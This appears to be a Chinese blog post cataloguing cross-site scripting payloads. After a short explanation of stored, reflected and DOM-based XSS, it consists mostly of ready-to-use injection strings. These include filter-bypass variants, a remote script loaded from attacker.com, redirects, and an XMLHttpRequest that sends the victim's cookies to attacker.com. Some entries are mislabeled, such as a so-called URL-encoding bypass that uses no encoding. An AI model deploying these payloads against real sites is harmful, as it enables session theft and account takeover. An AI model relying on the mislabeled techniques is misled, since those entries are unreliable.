• xss跨站脚本攻击姿势大全


    XSS跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过在受信任的网站上注入恶意脚本代码,然后使用户在浏览器中执行这些恶意代码,从而实现攻击目的。XSS 攻击通常发生在使用不安全的输入验证和输出编码的 Web 应用程序上。

    XSS 攻击可分为三种主要类型

    存储型 XSS(Stored XSS):攻击者将恶意脚本代码存储到目标网站的服务器上,然后当其他用户访问包含恶意代码的页面时,恶意代码会被执行。这种攻击常见于用户留言板、论坛、博客等需要持久存储用户输入的网站。例如,攻击者在一个论坛的评论中插入恶意脚本,当其他用户查看该评论时,恶意脚本会在他们的浏览器中执行。

    反射型 XSS(Reflected XSS):攻击者构造包含恶意脚本的链接,并诱使用户点击该链接。当用户点击链接后,恶意脚本会被发送到目标网站的服务器上,并在服务器的响应中返回给用户的浏览器,进而被执行。这种攻击常见于通过 URL 参数传递用户输入的场景。例如,攻击者构造一个恶意链接,其中包含恶意脚本,当用户点击该链接时,恶意脚本会在他们的浏览器中执行。

    DOM 型 XSS(DOM-based XSS):这种类型的 XSS 攻击不涉及向服务器发送恶意脚本,而是利用 JavaScript 在客户端修改页面的 DOM 结构,从而执行恶意操作。攻击利用了客户端代码对 URL 参数或其他用户可控数据的直接操作。例如,一个网站使用 JavaScript 获取 URL 参数并直接插入到页面中,如果没有进行适当的过滤和编码,攻击者可以通过构造恶意 URL 参数来执行恶意操作。

    下面是各种不同类型的payload
    基本的

    <script>alert('XSS')</script>
    
    • 1

    使用 HTML 注释绕过:

    <!--><script>alert('XSS')</script>-->
    
    • 1

    使用 JavaScript 事件处理程序:

    <img src="x" onerror="alert('XSS')">
    
    • 1

    使用 JavaScript URL 伪协议:

    <a href="javascript:alert('XSS')">Click Me</a>
    
    • 1

    使用 javascript: URL 伪协议:

    <a href="javascript:alert('XSS')">Click Me</a>
    
    • 1

    使用内联 JavaScript 代码:

    <a href="javascript:void(0)" onclick="alert('XSS')">Click Me</a>
    
    • 1

    使用 HTML 实体编码:

    <script>alert(&#x27;XSS&#x27;)</script>
    
    • 1

    利用 img 标签的 onerror 事件:

    <img src="invalid" onerror="alert('XSS')">
    
    • 1

    使用 SVG 图像:

    <svg/onload=alert('XSS')>
    
    • 1

    利用 CSS 表达式:

    <div style="background-image: expression(alert('XSS'));">
    
    • 1

    使用特殊字符编码绕过过滤:

    <script>alert(String.fromCharCode(88,83,83))</script>
    
    • 1

    利用 document.write():

    <script>document.write('XSS')</script>
    
    • 1

    使用 eval() 函数执行恶意代码:

    <script>eval('alert("XSS")')</script>
    
    • 1

    利用 URL 编码绕过过滤:

    <script>alert(/XSS/)</script>
    
    • 1

    使用 JavaScript 注释绕过过滤:

    <script>//alert('XSS')
    
    • 1

    利用 iframe 进行攻击:

    <iframe src="javascript:alert('XSS')"></iframe>
    
    • 1

    使用远程脚本文件:

    <script src="http://attacker.com/malicious.js"></script>
    
    • 1

    利用 标签的 onload 事件:

    <img src="valid" onload="alert('XSS')">
    
    • 1

    利用 或 标签:

    <audio src="javascript:alert('XSS')"></audio>
    <video src="javascript:alert('XSS')"></video>
    
    • 1
    • 2

    利用 JSONP:

    <script src="http://attacker.com/endpoint?callback=alert"></script>
    
    • 1

    使用 标签:

    <marquee onstart="alert('XSS')">Hover Me</marquee>
    
    • 1

    使用 标签的 onchange 事件:

    <input type="text" onchange="alert('XSS')">
    
    • 1

    使用 onmouseover 事件:

    <div onmouseover="alert('XSS')">Hover Me</div>
    
    • 1

    利用 window.location 进行重定向:

    <script>location.href='http://attacker.com';</script>
    
    • 1

    利用 document.cookie 获取用户 Cookie 信息:

    <script>alert(document.cookie)</script>
    
    • 1

    使用 localStorage 或 sessionStorage 存储恶意数据:

    <script>localStorage.setItem('data', 'malicious')</script>
    
    • 1

    利用 XMLHttpRequest 发送数据:

    <script>
      var xhr = new XMLHttpRequest();
      xhr.open('GET', 'http://attacker.com/?data=' + document.cookie, true);
      xhr.send();
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    利用 onload 事件进行重定向:

    <script>
    window.onload = function() {
      window.location.href = 'http://attacker.com';
    };
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    利用 onsubmit 事件修改表单数据:

    <form action="/" onsubmit="document.getElementById('password').value = 'malicious'">
      <input type="password" id="password">
      <input type="submit" value="Submit">
    </form>
    
    • 1
    • 2
    • 3
    • 4

    利用 标签的 onkeyup 事件:

    <input type="text" onkeyup="alert('XSS')">
    
    • 1

    利用 标签的 javascript: URL:

    <a href="javascript:window.location='http://attacker.com'">Click Me</a>
    
    • 1

    利用 标签:

    <textarea autofocus onfocus="alert('XSS')">Hover Me</textarea>
    
    • 1

    利用特殊标签属性:

    <div id="xss" data-attr="javascript:alert('XSS')"></div>
    <script>document.getElementById('xss').dataset.attr</script>
    
    • 1
    • 2

    利用 innerHTML 修改页面内容:

    <script>document.body.innerHTML = 'XSS'</script>
    
    • 1

    利用 setTimeout() 函数执行恶意操作:

    <script>
    setTimeout(function() {
      alert('XSS');
    }, 1000);
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    利用 或 标签:

    <object data="javascript:alert('XSS')"></object>
    <embed src="javascript:alert('XSS')"></embed>
    
    • 1
    • 2

    利用 Flash 对象:

    <embed src="xss.swf">
    
    • 1

    使用 HTML5 的 postMessage() 方法:

    <script>
    window.postMessage('malicious', '*');
    </script>
    
    • 1
    • 2
    • 3

    利用 CSS 中的 url() 函数执行恶意操作:

    <style>
    div {
      background-image: url(javascript:alert('XSS'));
    }
    </style>
    <div></div>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    利用 onhashchange 事件:

    <script>
    window.onhashchange = function() {
      alert('XSS');
    };
    </script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
  • 相关阅读:
    win10 LTSC无损升级 win11专业版 记录
    表的约束【MySQL】
    执行上下文-通俗易懂版
    【1】MongoDB的安装以及连接
    【Mac开发环境搭建】Docker安装Redis、Nacos
    adb安装及使用大全
    Go语言的100个错误使用场景(61-68)|并发实践
    荧光染料BDP FL ceramide,BDP-FL神经酰胺
    celery介绍与使用
    Flutter SQLite 教程之笔记App 数据存储CRUD操作基于 Flutter Sqflite 插件
  • 原文地址:https://blog.csdn.net/qq_56438857/article/details/130857868